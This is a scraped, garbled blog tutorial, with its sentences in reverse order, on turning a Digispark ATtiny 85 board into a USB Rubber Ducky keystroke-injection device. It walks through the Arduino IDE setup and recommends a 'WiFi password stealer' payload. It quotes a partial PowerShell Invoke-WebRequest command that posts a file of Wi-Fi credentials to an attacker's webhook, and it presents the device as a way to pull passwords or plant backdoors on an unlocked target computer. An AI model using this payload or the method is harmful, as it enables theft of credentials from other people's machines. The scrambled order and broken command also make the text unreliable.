![]() ![]() You can now flash the code to the Digispark. Make sure you modify the line that says powershell Invoke-WebRequest -Uri -Method POST -InFile Wi-Fi-PASS.Īdd your own unique URL from or replace the link with your own WebHook listener. Note that this payload sends the WiFi credentials to a webhook. We can find some payloads in this Github repo but searching online for “ATtiny Rubber Ducky” will find you others as well.įor example, you could grab the code for a WiFi password stealer.Ĭopy the code or download the file and open it in the Arduino IDE. ![]() Next, we’ll want to get some firmware to flash to our ATtiny board. Download the drivers by downloading the from the abovementioned link.Installing the Digistump Arduino drivers ¶ In the textbox at the top, type digispark and install the Digistump AVR Boards board manager. You can now install the Board Manager for our ATtiny via Tools > Board “Arduino Uno” > Boards Manager…. To do this, open the IDE software, click File > Preferences, and paste the following URL next to Additional Boards Manager URLs: You’ll also need to download some software:Īfter installing the Arduino Integrated Development Environment (IDE), you’ll need to add an additional Board Manager. You’ll only need to purchase 1 item: one or more Digispark ATtiny 85 boards: Digispark ATtiny 85 board Requirements ¶ Hardware ¶ In this blog post, we’ll build our very own Rubber Ducky using an extremely cheap (and tiny) development board, the Digispark ATtiny 85. Plugging this device in an unlocked target computer allows you to extract passwords or install backdoors in a matter of seconds. ![]() This innocent looking “USB Drive” actually emulates a computer keyboard and is capable of typing at incredible speeds. The USB Rubber Ducky, made popular by Hak5, is an amazing little tool. ![]()
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